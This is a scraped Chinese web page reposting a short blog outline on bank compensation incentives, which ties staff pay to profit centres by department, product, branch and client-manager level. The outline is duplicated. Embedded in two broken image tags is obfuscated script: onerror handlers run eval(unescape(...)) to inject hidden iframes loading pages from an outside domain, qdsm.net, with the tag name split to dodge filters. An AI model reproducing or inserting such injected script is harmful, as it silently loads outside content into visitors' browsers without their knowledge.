银行薪酬激励机制设计管理咨询
[转贴 2010-07-06 18:03:13]
银行薪酬激励机制设计管理咨询
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
(一).设计量化指标数据体系
1.分部门建立利润中心 :
员工的薪金同部门的成本.收入.毛利润挂钩.设计数据体系
2.分产品种行业建立利润中心 :
员工的薪金同中心的成本.收入.毛利润挂钩系,设计数据体系
3.分支行建立利润中心 :
员工的薪金同支行的成本.收入.毛利润挂钩系,设计数据体系
4.分客户经理层次建立利润中心 :
员工的薪金同客户经理的成本.收入.毛利润挂钩系,设计数据体系
(二).建计非量化指标数据体系
建立非量化指标考核数据体系
更多信息请看的博客
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
(一).设计量化指标数据体系
1.分部门建立利润中心 :
员工的薪金同部门的成本.收入.毛利润挂钩.设计数据体系
2.分产品种行业建立利润中心 :
员工的薪金同中心的成本.收入.毛利润挂钩系,设计数据体系
3.分支行建立利润中心 :
员工的薪金同支行的成本.收入.毛利润挂钩系,设计数据体系
4.分客户经理层次建立利润中心 :
员工的薪金同客户经理的成本.收入.毛利润挂钩系,设计数据体系
(二).建计非量化指标数据体系
建立非量化指标考核数据体系
更多信息请看的博客
郑重声明：资讯 【银行薪酬激励机制设计管理咨询- 中资银行- captaina - 和讯博客】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
